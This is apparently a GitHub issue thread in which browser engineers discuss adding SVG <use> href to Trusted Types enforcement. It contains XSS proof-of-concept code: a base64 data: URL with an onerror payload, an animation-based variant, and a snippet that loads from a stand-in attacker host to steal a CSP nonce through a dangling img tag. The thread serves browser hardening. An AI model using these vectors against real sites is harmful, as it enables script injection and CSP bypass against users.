trusted-types icon indicating copy to clipboard operation
trusted-types copied to clipboard

Add SVG <use> href attribute to Trusted Types enforcement

Open shhnjk opened this issue 2 years ago • 13 comments

We should enforce Trusted Types on <use> tag's href attribute.

Found by @masatokinugawa. https://twitter.com/kinugawamasato/status/1493576076726988802

<script>
  let attackerControlledString = 'data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayc+CjxpbWFnZSBocmVmPSJ4IiBvbmVycm9yPSJhbGVydChvcmlnaW4pIiAvPgo8L3N2Zz4=#x';
  const svg=document.createElementNS('http://www.w3.org/2000/svg','svg');
  const use=document.createElementNS('http://www.w3.org/2000/svg','use');
  use.setAttributeNS('http://www.w3.org/1999/xlink','href',attackerControlledString);
  svg.appendChild(use);
  document.body.appendChild(svg);
</script>

shhnjk avatar Feb 15 '22 19:02 shhnjk

Prehaps <svg:use xlink:href> should require TrustedScriptURL? I filed https://bugs.chromium.org/p/chromium/issues/detail?id=1300195 for Chromium.

koto avatar Feb 23 '22 16:02 koto

Don't forget that the <set> and <animate> can set the <use> href attribute dynamically. The following PoCs work on Chrome: (Note that the onerror sometimes does not fire for some reason. If it does not work, please reload the page.) https://vulnerabledoma.in/ttbypass_svguse_set.html https://vulnerabledoma.in/ttbypass_svguse_animate.html

masatokinugawa avatar Feb 23 '22 17:02 masatokinugawa

This vector using regular href attribute also works:

let attackerControlledString = "data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='console.log(/direct/,origin)' /></svg>#x";
const svg=document.createElementNS("http://www.w3.org/2000/svg", "svg");
const use=document.createElementNS("http://www.w3.org/2000/svg", "use");
use.setAttribute('href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);

To make sure I understand the root cause: These vectors are dynamically setting the <use href> (or deprecated <use xlink:href>) attribute - either directly via DOM, or via animation. While it's easy to cover the direct attribute manipulation, mutation via SVG animation is more tricky.

According to the <use href> in SVG spec though:

User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.

I wonder why data: URLs are processed in the first place (they are cross-origin), i.e. is https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#data-url-with-use-element an implementation bug? I could not find anything about this in Chromium bug tracker. @mozfreddyb, do you recall anything about loading data: URLs via <use href> and the XSS in FF?

koto avatar Feb 24 '22 10:02 koto

data URLs have not always been crossorigin and I would assume that we only ever thought about iframe/embed/object stuff but not svg subdocuments (like <use>). I think this might very well be an oversight? Interestingly, the SVG spec says that the href attribute is (quote):

"An URL reference to the element/fragment within an SVG document to be cloned for rendering.".

What does that even mean? Is a "cloned document" a navigation? The details in use-element shadow tree for navigation/fetching are quite vague on this, but I think they ought to be "nested browsing contexts"

@koto: Would you be interested in collecting usage metrics for data: URLs in svg <use> elements for Chrome? I think this deserves unshipping.

mozfreddyb avatar Feb 24 '22 11:02 mozfreddyb

Fwiw, @annevk made the very good point that the URL scheme might just not matter and e.g., http://html5sec.org/test.svg could also just work?

mozfreddyb avatar Feb 24 '22 12:02 mozfreddyb

No, at least in Blink implementation this is blocked. From what I can tell so far, Blink is just Fetching with mode same-origin, destination image, which skips the check for same-originness for data: URLs only (step 11 of https://fetch.spec.whatwg.org/#main-fetch)

koto avatar Feb 24 '22 12:02 koto

same-origin with destination image should allow CORS, no? That example link above has permissive CORS headers, I suppose I should have mentioned that.

mozfreddyb avatar Feb 24 '22 12:02 mozfreddyb

No it wouldn't. Mode has to be "cors" to allow CORS. (It's not clear that alone is a sufficient argument though as the natural extension for cross-origin resources here would be to allow that, just like we've done in other places.)

annevk avatar Feb 24 '22 12:02 annevk

https://jsbin.com/nolivug/2/edit?html,console tries data:, blob: and cross-origin. In Blink, only data: works, in FF, data: and blob:, in Safari - only blob:.

koto avatar Feb 24 '22 12:02 koto

FWIW, SVG would like <use> to work with cross-origin resources: https://github.com/w3c/svgwg/issues/707. No one seems interested in implementing it, but it's been discussed for years.

mikewest avatar Feb 24 '22 12:02 mikewest

I think <use> with cross-origin resource is dangerous, as it has potential to bypass Strict CSP. For example, you can already redirect to data URL from same-origin page and execute script from <use> in Firefox. If cross-origin resource is allowed, you can wait to serve data URL (by blocking response to redirect) until nonce is stolen using CSS.

shhnjk avatar Mar 04 '22 00:03 shhnjk

I don't follow, care to elaborate?

annevk avatar Mar 04 '22 08:03 annevk

<!-- XSS starts -->
<svg viewBox="0 0 30 10" xmlns="http://www.w3.org/2000/svg">
  <circle id="x" cx="5" cy="5" r="4" stroke="blue"/>
  <!-- Wait to serve content until we receive the nonce from img element -->
  <use href='https://cross-origin.attacker.example/svg_use.php#x' x="10" fill="blue"/>
</svg>
<img src='https://cross-origin.attacker.example/?
<!-- XSS ends -->

<script nonce="R4nd0m">alert('test')</script>

While above won't work in Chrome, but you can use iframe with name attribute to steal nonce in Chrome too (which is by design).

The concerning point with cross-origin resource in <use> is that it provides an ability to load external HTML content (including script) without script execution. Which could be used to load script tag after stealing nonce (therefore, valid nonce can be inserted).

shhnjk avatar Mar 04 '22 18:03 shhnjk

@shhnjk Do you know if this is still an issue? I remember you did some work to remove the data: URL support for svg:use, which might address this problem?

koto avatar Jan 18 '24 09:01 koto

Since data: URLs in SVGUseElement is deprecated, I think the only possible XSS from SVGUseElement is:

  1. An attacker has an ability to host SVG image in the victim origin (e.g. image upload feature). However, an attacker can not render the image (due to Content-Disposition header).
  2. There is another bug where attacker can contol string assignment to SVGUseElement in victim's origin.

Then the XSS can happen. I think this situation is extremely rare, that we might not care anymore.

shhnjk avatar Jan 18 '24 19:01 shhnjk

Guess we can intentionally exclude this from TT coverage then? I suggest to close this.

mozfreddyb avatar Jan 19 '24 08:01 mozfreddyb

Agreed. Thanks all!

koto avatar Jan 19 '24 09:01 koto